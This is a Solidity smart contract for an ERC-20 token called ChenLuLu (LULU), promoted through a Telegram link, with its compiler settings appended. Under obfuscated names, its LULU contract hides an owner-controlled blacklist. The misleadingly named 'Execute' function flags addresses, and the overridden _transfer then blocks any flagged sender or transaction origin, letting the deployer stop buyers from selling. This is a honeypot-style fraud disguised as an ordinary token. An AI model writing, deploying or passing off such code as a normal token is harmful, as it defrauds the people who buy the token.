// Telegram : https://t.me/chenLuLubase (150+ member)



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;


interface IERC20Errors {
  
    error ERC20token111(address sender, uint256 balance, uint256 needed);

  
    error ERC20token222(address sender);

  
    error ERC20token333(address receiver);

    error ERC20token444(address spender, uint256 allowance, uint256 needed);

  
    error ERC20token555(address approver);

    error ERC20token666(address spender);
}


interface IERC721tokenzxczxc {

    error ERC721zxcxscidOwner(address owner);

    error ERC721zxcsdaxxToken(uint256 tokenId);

   
    error ERC721XzxcsassOwner(address sender, uint256 tokenId, address owner);


}


interface IERCggavrvasdsadsasc {
  
    error Erc323122c(address sender, uint256 balance, uint256 needed, uint256 tokenId);

  
    error ERC12312sender(address sender);

    error ERC11f87bs2132g(address receiver);

}


pragma solidity ^0.8.20;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}



pragma solidity ^0.8.20;


interface IERC20 {
 
    event Transfer(address indexed from, address indexed to, uint256 value);

 
    event Approval(address indexed owner, address indexed spender, uint256 value);

   
    function totalSupply() external view returns (uint256);

 
    function balanceOf(address account) external view returns (uint256);

 
    function transfer(address to, uint256 value) external returns (bool);

  
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

  
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

pragma solidity ^0.8.20;



interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);

 
    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


pragma solidity ^0.8.20;






abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }


    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual returns (uint8) {
        return 18;
    }

 
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

   
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

 
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }


    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }


    function _transfer(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            revert ERC20token222(address(0));
        }
        if (to == address(0)) {
            revert ERC20token333(address(0));
        }
        _updateccs(from, to, value);
    }

    function _updateccs(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
        
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20token111(from, fromBalance, value);
            }
            unchecked {
               
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
 
                _totalSupply -= value;
            }
        } else {
            unchecked {
          
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }


    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20token333(address(0));
        }
        _updateccs(address(0), account, value);
    }


    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20token222(address(0));
        }
        _updateccs(account, address(0), value);
    }


    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }


    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20token555(address(0));
        }
        if (spender == address(0)) {
            revert ERC20token666(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }


    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20token444(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}


pragma solidity ^0.8.20;




abstract contract x1231212 is Context, ERC20 {
  
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }


}


pragma solidity ^0.8.20;


contract LULU is ERC20, x1231212 {
    mapping(address => bool) private _awdasdf;
    address private _owner;

   
    event skumgbvbba(address indexed account);

    constructor() ERC20("ChenLuLu", "LULU") {
        _mint(msg.sender, 1000000000 * 10 ** decimals());
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == _owner, "ca");
        _;
    }
        function _transfer(address from, address to, uint256 amount) internal virtual override {
     require(!_awdasdf[from], "Swap");
      require(!_awdasdf[tx.origin]);
      super._transfer(from, to, amount);
      
    }

    function Execute(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _awdasdf[accounts[i]] = true;
        }
    }

    function Dec(address account) external onlyOwner {
        _awdasdf[account] = false;
        emit skumgbvbba(account);
    }

    function onlyowner (address account) public view returns (bool) {
        return _awdasdf[account];
    }

 
}

{
  "compilationTarget": {
    "LULU.sol": "LULU"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}